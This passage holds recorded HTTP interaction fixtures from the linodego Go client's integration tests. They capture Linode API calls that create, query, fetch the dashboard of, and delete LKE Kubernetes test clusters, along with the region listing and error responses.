X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "243" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76166/api-endpoints method: GET response: body: '{"errors": [{"reason": "Cluster API Endpoints are not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "96" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76166/api-endpoints method: GET response: body: '{"errors": [{"reason": "Cluster API Endpoints are not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "96" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76166/api-endpoints method: GET response: body: '{"errors": [{"reason": "Cluster API Endpoints are not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "96" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76166/api-endpoints method: GET response: body: '{"page": 1, "pages": 1, "results": 4, "data": [{"endpoint": "https://065a2454-9ec1-45de-95dd-59581bddc587.ap-west-2.linodelke.net:443"}, {"endpoint": "https://065a2454-9ec1-45de-95dd-59581bddc587.ap-west-2.linodelke.net:6443"}, {"endpoint": "https://172.105.44.221:443"}, {"endpoint": "https://172.105.44.221:6443"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76166 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_Dashboard_Get.yaml000066400000000000000000000324351455402072200330310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-dash","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76168, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-dash", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76168 method: GET response: body: '{"id": 76168, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-dash", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76168/dashboard method: GET response: body: '{"url": "https://4540c914-7a8a-4f92-8d98-ddd1d60d9476.dashboard.ap-west-2.linodelke.net"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "89" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76168 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_GetFound.yaml000066400000000000000000000274201455402072200320540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-found","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76163, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-found", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "242" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76163 method: GET response: body: '{"id": 76163, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-found", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "242" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76163 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_GetMissing.yaml000066400000000000000000000020661455402072200324110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/0 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_Kubeconfig_Get.yaml000066400000000000000000000642111455402072200332130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 